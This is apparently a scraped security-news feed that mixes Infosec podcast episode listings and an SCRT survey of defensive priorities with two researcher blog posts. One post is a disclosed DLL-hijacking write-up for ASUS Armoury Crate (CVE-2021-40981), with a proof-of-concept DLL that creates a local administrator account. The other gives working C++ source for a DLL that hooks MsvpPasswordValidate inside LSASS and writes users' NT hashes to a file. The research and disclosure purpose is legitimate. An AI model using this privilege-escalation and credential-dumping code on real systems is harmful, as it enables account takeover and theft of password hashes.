33:40 - Benefits of skills-based education
37:21 - The skills gap and hiring process
41:19 - Tips for lifelong learners
43:43 - Harrington’s next projects
44:33 - Cybersecurity’s education’s future
45:38 - Connect with Harrington 
46:50 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

How to become a secure coder | Guest Chrys Thorsen

By: Infosec
18 October 2021 at 07:00

On today’s podcast Infosec Skills author Chrys Thorsen talks about founding IT Without Borders, a humanitarian organization built to empower underserved communities through capacity building information and communications technology (ICT) skills and information access. She’s also a consultant and educator. And, for our purpose, she is the author of several learning paths on our Infosec Skills platform. She has written course paths for Writing Secure Code in Android and Writing Secure Code in iOS, as well as a forthcoming CertNexus Cyber Secure Coder path.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
2:43 - Thorsen’s origin story in cybersecurity 
4:53 - Gaining about 40 certifications
6:20 - Cross certification knowledge
7:25 - Great certification combos 
8:45 - How useful are certifications?
11:12 - Collecting certifications
13:01 - Changing training landscape
14:20 - How teaching changed
16:36 - In-demand cybersecurity skills
17:48 - What is secure coding?
19:34 - Secure coders versus coders 
20:31 - Secure coding in iOS versus Android 
22:39 - CertNexus secure coder certification
24:13 - Secure coding before coding 
24:42 - Secure coding curriculum 
26:27 - Recommended studies post secure coding
26:50 - Benefits to skills-based education
27:43 - Tips for lifelong learning
29:29 - Cybersecurity education’s future 
30:54 - IT Without Borders
33:38 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Internal security recommendations survey

11 October 2021 at 13:11

During the first wave of Covid and most people locked up at home, I wanted to engage with my colleagues in various departments here at SCRT by having them answer a simple survey. The survey related to what actions they would recommend and prioritize in order to secure the information system of a random company, which had just received notification that a cyberattack was imminent.

The survey

Everybody was asked to provide up to 10 recommendations and my initial goal was to see whether there was a consensus between our different teams. For example, I wanted to make sure that our sales team would provide similar answers to our engineering teams.

In any case, I wanted to keep the answers as open as possible, which made it a little harder to parse the results, since some of my colleagues gave some very creative answers. One such example were the recommendations of writing a book on how to obtain a magical budget, followed by a sequel on how to spend that budget with SCRT. Needless to say, this was a bit of an outlier, but for other cases, I attempted to group similar answers into categories. For example, the two following recommendations “Install a good anti-virus solution on workstations” and “Setup EDR agents on all workstations and servers with machine learning capabilities such as Cortex XDR Pro” were eventually summarised as “EDR/AV”.

I had to make some choices as to what would be grouped together. I decided EDR and AV solutions could be considered as a similar recommendations, while I decided that “Updates” and “Vulnerability management” were going to remain separate. A number of answers were grouped into “Network isolation” which also explains some of the results I’ll give below.
After categorizing each one of the recommendations, I then attributed a weight from 1 to 10 to each of them depending on the priority given by the person.

Results

Without any further ado, here are the most frequently recommended actions (with their cumulated weight) out of the 33 colleagues who responded to my survey:

  1. Network isolation (173)
  2. Security patching (107)
  3. Configurations hardening (100)
  4. Limit external exposure (97)
  5. SIEM/SOC (95)
  6. Awareness training (95)
  7. Audit (89)
  8. Multi-factor authentication (87)
  9. Privileged access management (82)
  10. Backups (49)
  11. EDR/AV (45)
  12. LAPS (41)
  13. Robust password policy (40)
  14. DMZ (37)
  15. WAF (37)
    […]
  16. Contact SCRT 😉 (22 points)

If we ignore the weights and just count the number of times each recommendation is given, we obtain the following results.

  1. Network isolation (25)
  2. SIEM/SOC (22)
  3. Audit (22)
  4. Security patching (20)
  5. Configurations hardening (20)
  6. Awareness training (15)
  7. Privileged access management (14)
  8. Multi-factor authentication (14)
  9. Limit external exposure (11)
  10. EDR/AV (9)
  11. Robust password policy (8)
  12. LAPS (7)
  13. Backups (7)
  14. Bitlocker (6)
  15. Physical access (5)
    […]
  16. Contact SCRT 😉 (4)

Discussion

The differences are interesting to look at as they mean for example that most people recommended implementing a SIEM/SOC and performing an audit, but these were not considered as priorities.

I think it is important here to stress that when we mention “network isolation”, it goes beyond simple network segmentation. We are not talking about ensuring you have different VLANs for different types of systems, but actively enforcing appropriate firewalls between VLANs and within the same VLAN. It is this active firewalling which can prevent the exploitation of vulnerabilities in the first place and reduce the possibilities of lateral movement. While micro-segmentation and Zero Trust are valuable objectives, in the mean time, properly configuring the current firewalls has to be a priority.

When analysing the responses on a department level, it was interesting to see that our support team tends to recommend contacting SCRT and our analytics team recommends implementing a SIEM/SOC. Our pentesting team does not necessarily recommend performing an audit as a top priority, probably because we already anticipate what the findings are likely to be, which kind of skews the results. For our sales team though, performing an audit received the highest priority.

Wrapping things up

Based on the answers, I drew up a mindmap of actions that could be taken to improve the security of an information system. It contains more details than what is summarised in this blog post and the actions have been grouped by the following objectives:

  • Prevent the initial intrusion
  • Detect the intrusion
  • Limit its propagation
  • Protect/preserve sensitive data
  • Manage risk

There is already quite a bit of information in here, though there is even more which is still missing, but it does give an overview of the higher priority aspects, which can be worked on to generally improve the security posture of a company.

Learning Linux is key to building your cybersecurity skills | Guest Jasmine Jackson

By: Infosec
11 October 2021 at 07:00

On today’s podcast, Jasmine Jackson takes us through how you can get noticed on your resume, how Linux basics can set you up for learning other aspects of cybersecurity, and how capture the flag activities are crucial to enriching your work skills. Jackson has over 10 years of information security experience and shares her passion for cybersecurity by presenting and teaching workshops, including new courses now available in Infosec Skills. She is currently the Jeopardy-style capture the flag (CTF) coach for the inaugural U.S. Cyber Games and works as a senior application security engineer for a Fortune 500 company. 

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
3:08 - Jasmine Jackson’s origin story
4:25 - Winning a computer
6:22 - Jackson’s career path
13:46 - Thoughts on certifications 
19:10 - Ideal job description 
21:01 - Most important cybersecurity skills 
22:54 - Linux fundamentals class
25:07 - What does knowing Linux do for you?
26:35 - How to build upon a Linux foundation
28:51 - Benefits to skills training
29:50 - Tips for lifelong learning
31:30 - Coaching in the U.S. Cyber Games
34:26 - How are team members chosen for the games?
37:47 - An intriguing CTF puzzle 
41:43 - Where is cybersecurity education heading?
43:36 - Learn more about Jackson
46:33 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Cryptography, encryption and building a secure photo app | Guest Alex Amiryan

By: Infosec
4 October 2021 at 07:00

Today's guest is Alex Amiryan, a software developer with over 18 years of experience specializing in cybersecurity and cryptography. Alex is the creator of the popular SafeCamera app, which was the predecessor of Stingle Photos, an end-to-end encrypted, open-source gallery and sync app able to prevent theft by breach. How does it work, and how did Alex come by his obsession for cryptography? Tune in and find out!

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
1:41 - Origin story in cybersecurity
3:38 - Running afoul of the law
4:44 - Beginning your own company
7:10 - Advice on starting a business
9:15 - What is Stingle Photos? 
12:30 - End-to-end encryption
15:20 - Black box storage
17:47 - Encryption safety
19:01 - Preventing photo theft
22:20 - Working in encryption and cryptography
24:24 - Skills needed for encryption and cryptography
26:43 - An "aha" moment 
28:00 - Cryptographer job market 
29:45 - Next steps in cryptography
35:52 - Learn more about Stingle Photos
36:28 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Saving McDonald’s from a possible data breach | Guest Connor Greig

By: Infosec
27 September 2021 at 07:00

This week we chat with Connor Greig of CreatorSphere (creatorsphere.co) about beginning a career in IT at age 17 when he joined Hewlett Packard as an applications engineer, but after just a few weeks was promoted to project manager. He went on to work on secure projects for the British government and was a project manager for secure cloud computing and software development modernization during the WannaCry, Spectre and Meltdown vulnerabilities that were found.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:00 - Origin story
4:58 - Getting into IT
8:53 - Being scouted by HP at 17
11:34 - What did HP see in you?
15:42 - Working with the British government
17:49 - Being fast on your feet
19:51 - Area of specialty 
21:30 - Balancing work and management
25:25 - Saving McDonald's from a data breach
31:58 - McDonald's reaction 
38:56 - Starting your own company
45:25 - Advice for starting your own company
49:15 - How to learn new concepts and skills
53:15 - What's it like being a gay man in cybersecurity?
55:30 - Making cybersecurity more welcoming 
58:15 - Cybersecurity career advice
1:00:33 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

🇬🇧 Stealing weapons from the Armoury

By: ["last"]
24 September 2021 at 00:00

armoury pwnd

TL;DR

ASUS ROG Armoury Crate ships with a service called Armoury Crate Lite Service which suffers from a phantom DLL hijacking vulnerability that allows a low privilege user to execute code in the context other users, administrators included. To trigger the vulnerability, an administrator must log in after the attacker has placed the malicious DLL at the path C:\ProgramData\ASUS\GamingCenterLib\.DLL. The issue has been fixed with the release of Armoury Crate Lite Service 4.2.10. The vulnerability has been assigned ID CVE-2021-40981.

Introduction

Greetings fellow hackers, last here! Recently I’ve been looking for vulnerabilities here and there - too much free time maybe? Specifically, I focused on hunting for DLL hijackings in privileged processes, as they usually lead to a local privilege escalation. A DLL hijacking revolves around forcing a process to run an attacker controlled DLL instead of the legitimate DLL the process is trying to load, nothing more. To make a process load your DLL you have to control the path from which said DLL is loaded. There are essentially two kinds of DLL hijackings: standard DLL hijackings and phantom DLL hijackings. The main difference is that in standard ones the legitimate DLL exists and is overwritten or proxied by the attacker’s DLL, while in phantom DLL hijackings the process tries to load a non existing DLL, hence the attacker can just drop its malicious DLL in the path and call it a day.

By messing up with Process Monitor I ended up finding a phantom DLL hijacking in ASUS ROG Armoury Crate, a software commonly installed in gaming PCs with a TUF/ROG motherboard to manage LEDs and fans.

such gaming much 0days gif

Last year I assembled a PC with an ASUS TUF motherboard, so I have this software installed. This kind of software is usually poorly designed from a security perspective - not shaming ASUS here, it’s just a matter of fact as gaming software is usually not designed with security in mind, it has to be flashy and eye-catching - so I ended up focusing my effort on this particular piece of software.

At login time, Armoury Crate’s own service, called Armoury Crate Lite Service, spawns a number of processes, the ones that caught my eyes though were ArmouryCrate.Service.exe and its child ArmouryCrate.UserSessionHelper.exe. As you can see in the next screenshot, the first runs as SYSTEM as it’s the process of the service itself, while the second runs at High integrity (i.e. elevated) if the current user is an administrator, or Medium integrity if the user is a low privilege one. Keep this in mind, we will come back to it later.

armourycrate arch

It’s hunting season

Now that we have laid down our targets, let’s look at how we are going to approach the research. The methodology we will use is the following:

  1. Look for CreateFile operations failing with a “NO SUCH FILE” or “PATH NOT FOUND” code;
  2. Inspect the operation to make sure it happens as a result of a call to a LoadLibrary-like function. CreateFile-like calls in Windows are not used only to create new files, but also to open existing ones;
  3. Make sure we can write to - or create the - path from which the DLL is loaded;
  4. Profit!

Hunting for this type of vulnerabilities is actually fairly easy and requires little effort. As I have explained in this Twitter thread, you just have to fire up Process Monitor with admin privileges, set some filters and then investigate the results. Let’s start from the filters: since we are focusing on phantom DLL hijackings, we want to see all the privileged processes failing to load a DLL with an error like “PATH NOT FOUND” or “NO SUCH FILE”. To do so go to the menu bar, Filter->Filter... and add the following filters:

  • Operation - is - CreateFile - Include
  • Result - contains - not found - Include
  • Result - contains - no such - Include
  • Path - ends with - .dll - Include
  • Integrity - is - System - Include
  • Integrity - is - High - Include

procmon filters

Once you have done that, go back to the menu bar, then Filter->Save Filter... so that we can load it later. As a lot SYSTEM and High integrity processes run as a result of a service running we now want to log the boot process of the computer and analyze it with Process Monitor. In order to do so head to the menu bar, then Options->Enable Boot Logging, leave everything as default and restart the computer. After logging back in, open Process Monitor once again, save the Bootlog.pml file and wait for Process Monitor to parse it. Once it’s finished doing its things, load the filter we prepared previously by clicking on Filter->Load Filter. Now we should see only potential phantom hijackings.

armoury missing DLL

In Armoury Crate’s case, you can see it tries to load C:\ProgramData\ASUS\GamingCenterLib\.DLL which is an interesting path because ACLs are not set automatically in subfolders of C:\ProgramData\, a thing that happens instead for subfolders of C:\Program Files\. This means there’s a high probability C:\ProgramData\ subfolders will be writable by unprivileged users.

To make sure the CreateFile operation we are looking at happens as a result of a LoadLibrary-like function we can open the event and navigate to the Stack tab to check the sequence of function calls which lead to the CreateFile operation. As you can see from the following screenshot, this is exactly the case as we have a call to LoadLibraryExW:

armoury crate loadlibrary

To inspect the ACL of the folder from which Armoury Crate tries to load the DLL we can use Powershell’s Get-Acl cmdlet this way:

Get-Acl 'C:\ProgramData\ASUS\GamingCenterLib' | Select-Object *

This command will return a SDDL string (which is essentially a one-to-one string representation of the graphical ACL we are used to see in Windows), which when parsed with ConvertFrom-SddlString tells us BUILTIN\Users have write access to the directory:

armoury acls

A more user friendly way of showing the effective access a user has on a particular resource is to open its properties, navigate to the Security tab, click on Advanced, switch to the Effective Access tab, select a user and then click on View effective access. The result of this operation is the effective access a user has to said resource, considering also the permissions it inherits from the groups he is part of.

armoury acls gui

Alright, now that we know we can write to C:\ProgramData\ASUS\GamingCenterLib we just have to compile a DLL named .DLL and drop it there. We will go with a simple DLL which will add a new user to the local administrators:

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    system("C:\\Windows\\System32\\cmd.exe /c \"net user aptortellini aptortellini /add\"");
    system("C:\\Windows\\System32\\cmd.exe /c \"net localgroup administrators aptortellini /add\"");
    return TRUE;
}

Now that we have everything ready we just have to wait for a privileged user to log in. This is needed as the DLL is loaded by ArmouryCrate.UserSessionHelper.exe which runs with the highest privileges available to the user to which the session belongs. As soon as the privileged user logs in, we have a new admin user, confirming administrator-level code execution.

Root cause analysis

Let’s now have a look at what caused this vulnerability. As you can see from the call stack shown in the screenshot in the beginning of this article, the DLL is loaded from code located inside GameBoxPlugin.dll, at offset QueryLibrary + 0x167d which is actually another function I renamed DllLoadLibraryImplement (by reversing GameBoxPlugin.dll with IDA Pro you can see most functions in this DLL have some sort of logging feature which references strings containing the possible name of the function). Here’s the code responsible for the call to LoadLibraryExW:

ida call

We have two culprits here:

  1. A DLL is loaded without any check. ASUS fixed this by implementing a cryptographic check on the DLLs loaded by this process to make sure they are signed by ASUS themselves;
  2. The ACL of C:\ProgramData\ASUS\GamingCenterLib\ are not properly set. ASUS has NOT fixed this, which means that, in the case a bypass is found for reason 1, the software would be vulnerable again as ArmouryCrate.UserSessionHelper.exe now looks for DLLs in that folder with a 6-character-long name (by searching them with the wildcard ??????.DLL as you can see with Procmon). If you use Armoury Crate I suggest hand-fixing the ACL of C:\ProgramData\ASUS\GamingCenterLib\ in order to give access to the whole directory tree only to members of the Administrators group.

Responsible disclosure timeline (YYYY/MM/DD)

  • 2021/09/06: vulnerability reported to ASUS via their web portal;
  • 2021/09/10: ASUS acknowledges the report and forwards it to their dev branch;
  • 2021/09/13: ASUS devs confirm the vulnerability and say it will be fixed in the next release, expected for week 39 of this year (27/09 - 01/10);
  • 2021/09/24: ASUS confirms the vulnerability has been fixed in version 4.2.10 of the service;
  • 2021/09/27: MITRE assigns CVE-2021-40981 to this vulnerability;

Kudos to ASUS for the quick response and professionalism in dealing with the problem! That’s all for today lads, until next time!

last out!

Inside the Security Yearbook: Industry trends, career advice and more! | Guest Richard Stiennon

By: Infosec
20 September 2021 at 07:00

Security Yearbook creator Richard Stiennon joins today’s podcast to share his career journey. He talks about creating the first ISP in the Midwest in the ‘90s, the role of the Security Yearbook in telling the history of cybersecurity and the best place to start your cybersecurity career. Hint: It’s not necessarily with the big firms!

– Save 50% on your copy of the Security Yearbook with code "infoseclive": https://it-harvest.com/shop
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Infosec Skills Monthly Challenge
0:50 - Intro 
2:50 - How Richard got started in cybersecurity
7:22 - Penetration testing in the ‘90s
10:17 - Working as a research analyst
14:39 - How the cyberwar landscape is changing
19:33 - Skills needed as a cybersecurity researcher
20:30 - Launching the Security Yearbook
27:20 - Security Yearbook 2021 
29:00 - Importance of cybersecurity history
30:48 - How do cybersecurity investors see the industry
34:08 - Impact of COVID-19 and work from home
35:50 - Using the Security Yearbook to guide your career
40:38 - How cybersecurity careers are changing
43:29 - Current pentesting trends 
47:06 - First steps to becoming a research analyst
48:20 - Plans for Security Yearbook 2022
50:20 - Learn more about Richard Stiennon
51:09 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Diversity, equity and inclusion in cybersecurity hiring | Cyber Work Live

By: Infosec
13 September 2021 at 07:00

Cybersecurity hiring managers, and the entire cybersecurity industry, can benefit from recruiting across a wide range of backgrounds and cultures, yet many organizations still struggle with meaningfully implementing effective diversity, equity and inclusion (DEI) hiring processes.

Join a panel of past Cyber Work Podcast guests as they discuss these challenges, as well as the benefits of hiring diversely:
– Gene Yoo, CEO of Resecurity, and the expert brought in by Sony to triage the 2014 hack
– Mari Galloway, co-founder of Women’s Society of Cyberjutsu
– Victor “Vic” Malloy, General Manager, CyberTexas

This episode was recorded live on August 19, 2021. Want to join the next Cyber Work Live and get your career questions answered? See upcoming events here: https://www.infosecinstitute.com/events/

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

The topics covered include:
0:00 - Intro
1:20 - Meet the panel
3:28 - Diversity statistics in cybersecurity
4:30 - Gene on HR's diversity mindset
5:50 - Vic's experience being the "first"
10:00 - Mari's experience as a woman in cybersecurity
12:22 - Stereotypes for women in cybersecurity
15:40 - Misrepresenting the work of cybersecurity
17:30 - HR gatekeeping and bias
25:56- Protecting neurodivergent employees
31:15 - Hiring bias against ethnic names
37:57 - We didn't get any diverse applicants!
43:20 - Lack of developing new talent
46:48 - The skills gap is "nonsense"
49:41- Cracking the C-suite ceiling
53:56 - Visions for the future of cybersecurity
58:15 - Outro

– Join the Infosec Skills monthly challenge: https://www.infosecinstitute.com/challenge

– Download our developing security teams ebook: https://www.infosecinstitute.com/ebook

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

🇬🇧 Taking a detour inside LSASS

By: ["last"]
16 November 2020 at 00:00

TL;DR

This is a repost of an analysis I posted on my Gitbook some time ago. Basically, when you authenticate as ANY local user on Windows, the NT hash of that user is checked against the NT hash of the supplied password by LSASS through the function MsvpPasswordValidate, exported by NtlmShared.dll. If you hook MsvpPasswordValidate you can extract this hash without touching the SAM. Of course, to hook this function in LSASS you need admin privilege. Technically it also works for domain users who have logged on the machine at least once, but the resulting hash is not a NT hash, but rather a MSCACHEv2 hash.

Introduction

Last August FuzzySec tweeted something interesting:

fuzzysec tweet

Since I had some spare time I decided to look into it and try and write my own local password dumping utility. But first, I had to confirm this information.

Confirming the information

To do so, I fired up a Windows 10 20H2 VM, set it up for kernel debugging and set a breakpoint into lsass.exe at the start of MsvpPasswordValidate (part of the NtlmShared.dll library) through WinDbg. But first you have to find LSASS’ _EPROCESS address using the following command:

!process 0 0 lsass.exe

process command

Once the _EPROCESS address is found we have to switch WinDbg’s context to the target process (your address will be different):

.process /i /p /r ffff8c05c70bc080

process command 2

Remember to use the g command right after the last command to make the switch actually happen. Now that we are in LSASS’ context we can load into the debugger the user mode symbols, since we are in kernel debugging, and then place a breakpoint at NtlmShared!MsvpPasswordValidate:

.reload /user
bp NtlmShared!MsvpPasswordValidate

We can make sure our breakpoint has been set by using the bl command:

bl command

Before we go on however we need to know what to look for. MsvpPasswordValidate is an undocumented function, meaning we won’t find it’s definition on MSDN. Looking here and there on the interwebz I managed to find it on multiple websites, so here it is:

BOOLEAN __stdcall MsvpPasswordValidate (
     BOOLEAN UasCompatibilityRequired,
     NETLOGON_LOGON_INFO_CLASS LogonLevel,
     PVOID LogonInformation,
     PUSER_INTERNAL1_INFORMATION Passwords,
     PULONG UserFlags,
     PUSER_SESSION_KEY UserSessionKey,
     PLM_SESSION_KEY LmSessionKey
);

What we are looking for is the fourth argument. The “Passwords” argument is of type PUSER_INTERNAL1_INFORMATION. This is a pointer to a SAMPR_USER_INTERNAL1_INFORMATION structure, whose first member is the NT hash we are looking for:

typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
   ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
   ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
   unsigned char NtPasswordPresent;
   unsigned char LmPasswordPresent;
   unsigned char PasswordExpired;
 } SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;

As MsvpPasswordValidate uses the stdcall calling convention, we know the Passwords argument will be stored into the R9 register, hence we can get to the actual structure by dereferencing the content of this register. With this piece of information we type g once more in our debugger and attempt a login through the runas command:

runas command

And right there our VM froze because we hit the breakpoint we previously set:

breakpoint hit

Now that our CPU is where we want it to be we can check the content of R9:

db @r9

db command

That definetely looks like a hash! We know our test user uses “antani” as password and its NT hash is 1AC1DBF66CA25FD4B5708E873E211F06, so the extracted value is the correct one.

Writing the DLL

Now that we have verified FuzzySec’s hint we can move on to write our own password dumping utility. We will write a custom DLL which will hook MsvpPasswordValidate, extract the hash and write it to disk. This DLL will be called HppDLL, since I will integrate it in a tool I already made (and which I will publish sooner or later) called HashPlusPlus (HPP for short). We will be using Microsoft Detours to perform the hooking action, better not to use manual hooking when dealing with critical processes like LSASS, as crashing will inevitably lead to a reboot. I won’t go into details on how to compile Detours and set it up, it’s pretty straightforward and I will include a compiled Detours library into HppDLL’s repository. The idea here is to have the DLL hijack the execution flow as soon as it reaches MsvpPasswordValidate, jump to a rogue routine which we will call HookMSVPPValidate and that will be responsible for extracting the credentials. Done that, HookMSVPPValidate will return to the legitimate MsvpPasswordValidate and continue the execution flow transparently for the calling process. Complex? Not so much actually.

Hppdll.h

We start off by writing the header all of the code pieces will include:

#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN

// uncomment the following definition to enable debug logging to c:\debug.txt
#define DEBUG_BUILD

#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"

// if this is a debug build declare the PrintDebug() function
// and define the DEBUG macro in order to call it
// else make the DEBUG macro do nothing
#ifdef DEBUG_BUILD
void PrintDebug(std::string input);
#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif

// namespace containing RAII types to make sure handles are always closed before detaching our DLL
namespace RAII
{
	class Library
	{
	public:
		Library(std::wstring input);
		~Library();
		HMODULE GetHandle();

	private:
		HMODULE _libraryHandle;
	};

	class Handle
	{
	public:
		Handle(HANDLE input);
		~Handle();
		HANDLE GetHandle();

	private:
		HANDLE _handle;
	};
}

//functions used to install and remove the hook
bool InstallHook();
bool RemoveHook();

// define the pMsvpPasswordValidate type to point to MsvpPasswordValidate
typedef BOOLEAN(WINAPI* pMsvpPasswordValidate)(BOOLEAN, NETLOGON_LOGON_INFO_CLASS, PVOID, void*, PULONG, PUSER_SESSION_KEY, PVOID);
extern pMsvpPasswordValidate MsvpPasswordValidate;

// define our hook function with the same parameters as the hooked function
// this allows us to directly access the hooked function parameters
BOOLEAN HookMSVPPValidate
(
	BOOLEAN UasCompatibilityRequired,
	NETLOGON_LOGON_INFO_CLASS LogonLevel,
	PVOID LogonInformation,
	void* Passwords,
	PULONG UserFlags,
	PUSER_SESSION_KEY UserSessionKey,
	PVOID LmSessionKey
);

This header includes various Windows headers that define the various native types used by MsvpPasswordValidate. You can see I had to slightly modify the MsvpPasswordValidate function definition since I could not find the headers defining PUSER_INTERNAL1_INFORMATION, hence we treat it like a normal void pointer. I also define two routines, InstallHook and RemoveHook, that will deal with injecting our hook and cleaning it up afterwards. I also declare a RAII namespace which will hold RAII classes to make sure handles to libraries and other stuff will be properly closed as soon as they go out of scope (yay C++). I also define a pMsvpPasswordValidate type which we will use in conjunction with GetProcAddress to properly resolve and then call MsvpPasswordValidate. Since the MsvpPasswordValidate pointer needs to be global we also extern it.

DllMain.cpp

The DllMain.cpp file holds the definition and declaration of the DllMain function, responsible for all the actions that will be taken when the DLL is loaded or unloaded:

#include "pch.h"
#include "hppdll.h"

pMsvpPasswordValidate MsvpPasswordValidate = nullptr;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        return InstallHook();
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        return RemoveHook();
    }
    return TRUE;
}

Top to bottom, we include pch.h to enable precompiled headers and speed up compilation, and hppdll.h to include all the types and functions we defined earlier. We also set to nullptr the MsvpPasswordValidate function pointer, which will be filled later by the InstallHook function with the address of the actual MsvpPasswordValidate. You can see that InstallHook gets called when the DLL is loaded and RemoveHook is called when the DLL is unloaded.

InstallHook.cpp

InstallHook is the function responsible for actually injecting our hook:

#include "pch.h"
#include "hppdll.h"

bool InstallHook()
{
	DEBUG("InstallHook called!");

	// get a handle on NtlmShared.dll
	RAII::Library ntlmShared(L"NtlmShared.dll");
	if (ntlmShared.GetHandle() == nullptr)
	{
		DEBUG("Couldn't get a handle to NtlmShared");
		return false;
	}

	// get MsvpPasswordValidate address
	MsvpPasswordValidate = (pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(), "MsvpPasswordValidate");
	if (MsvpPasswordValidate == nullptr)
	{
		DEBUG("Couldn't resolve the address of MsvpPasswordValidate");
		return false;
	}

	DetourTransactionBegin();
	DetourUpdateThread(::GetCurrentThread());
	DetourAttach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	LONG error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to hook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook installed successfully");
		return true;
	}
}

It first gets a handle to the NtlmShared DLL at line 9. At line 17 the address to the beginning of MsvpPasswordValidate is resolved by using GetProcAddress, passing to it the handle to NtlmShared and a string containing the name of the function. At lines from 24 to 27 Detours does its magic and replaces MsvpPasswordValidate with our rogue HookMSVPPValidate function. If the hook is installed correctly, InstallHook returns true. You may have noticed I use the DEBUG macro to print debug information. This macro makes use of conditional compilation to write to C:\debug.txt if the DEBUG_BUILD macro is defined in hppdll.h, otherwise it does nothing.

HookMSVPPValidate.cpp

Here comes the most important piece of the DLL, the routine responsible for extracting the credentials from memory.

#include "pch.h"
#include "hppdll.h"

BOOLEAN HookMSVPPValidate(BOOLEAN UasCompatibilityRequired, NETLOGON_LOGON_INFO_CLASS LogonLevel, PVOID LogonInformation, void* Passwords, PULONG UserFlags, PUSER_SESSION_KEY UserSessionKey, PVOID LmSessionKey)
{
	DEBUG("Hook called!");
	// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointer
	NETLOGON_LOGON_IDENTITY_INFO* logonIdentity = (NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;

	// write to C:\credentials.txt the domain, username and NT hash of the target user
	std::wofstream credentialFile;
	credentialFile.open("C:\\credentials.txt", std::fstream::in | std::fstream::out | std::fstream::app);
	credentialFile << L"Domain: " << logonIdentity->LogonDomainName.Buffer << std::endl;
	std::wstring username;
	
	// LogonIdentity->Username.Buffer contains more stuff than the username
	// so we only get the username by iterating on it only Length/2 times 
	// (Length is expressed in bytes, unicode strings take two bytes per character)
	for (int i = 0; i < logonIdentity->UserName.Length/2; i++)
	{
		username += logonIdentity->UserName.Buffer[i];
	}
	credentialFile << L"Username: " << username << std::endl;
	credentialFile << L"NTHash: ";
	for (int i = 0; i < 16; i++)
	{
		unsigned char hashByte = ((unsigned char*)Passwords)[i];
		credentialFile << std::hex << hashByte;
	}
	credentialFile << std::endl;
	credentialFile.close();

	DEBUG("Hook successfully called!");
	return MsvpPasswordValidate(UasCompatibilityRequired, LogonLevel, LogonInformation, Passwords, UserFlags, UserSessionKey, LmSessionKey);
}

We want our output file to contain information on the user (like the username and the machine name) and his NT hash. To do so we first cast the third argument, LogonIdentity, to be a pointer to a NETLOGON_LOGON_IDENTITY_INFO structure. From that we extract the logonIdentity->LogonDomainName.Buffer field, which holds the local domain (hece the machine hostname since it’s a local account). This happens at line 8. At line 13 we write the extracted local domain name to the output file, which is C:\credentials.txt. As a side note, LogonDomainName is a UNICODE_STRING structure, defined like so:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

